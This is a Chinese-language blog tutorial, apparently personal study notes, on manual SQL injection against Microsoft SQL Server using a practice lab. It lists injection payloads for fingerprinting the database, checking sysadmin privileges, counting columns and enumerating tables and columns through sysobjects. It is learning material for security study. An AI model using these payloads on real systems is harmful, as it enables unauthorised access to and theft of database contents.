SqlServer教程

MSSQL注入

本文主要是介绍MSSQL注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

因为自己Mssql注入差的离谱 基础的都老忘.. 这次来记录下
况且一搜啥sql注入 很多出来的都是mysql的,黯区的课 有讲很详细的mssql注入的课程噢!!想报名的可以call我

使用到的靶场是
https://github.com/Larryxi/MSSQL-SQLi-Labs
提示虽然很友好.. 但是用不到 哈哈

基础补充

以下有些会围绕mysql对比来讲

注释

image

判断是否为mssql数据库

and exists(select * from sysobjects) --

判断权限

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限

判断列数的问题

sqlserver:用order by不准确,因为有些数据类型不支持,照样会抛异常回显,像用union all select 1,2,这样也是不准确的,因为还是数据类型的问题,所以用uinon all select null,null
mysql:用order by 都晓得

limit问题

mysql: select * from table_name limit 10;
mssql: select top 10 * from table_name;

联合查询

判断有无注入

  • '
  • and 1=1
  • and 1=2

这里也有个问题 要是mysql的话 单独 and 1,也可以 但是在mssql不行

image
image
image
可以很明显的看出

猜字段长度

- order by num
- unino all select null

image
三个回显正常
image
四个回显错误
判断三个列

寻找显位

很简单 在判断的基础上 改成字符
image

查询基本信息

显位找出来了 就查信息呗

- @@version	-- 版本信息
- db_name()	-- 获取库名
- user,system_user,current_user,user_name	–- 获取当前⽤户名

image

查询表名

(select top 1 name from db_name.dbo.sysobjects where xtype='u')
(select top 1 name from db_name.dbo.sysobjects where xtype='u' and name not in('users'))	// 上一个永远可以扔进括号里,然后逐个排出表名

这里可以告诉大家一个tips, 库名要是有-这种特殊符号,可以用[]包住
image
没有了 也就空了
image

查询列名

(select top 1 col_name(object_id('table_name'),1) from sysobjects)
(select top 1 col_name(object_id('table_name'),2) from sysobjects)
(select top 1 col_name(object_id('table)name'),num) from sysobjects)

image

查询数据

就非常简单了
image

这篇关于MSSQL注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!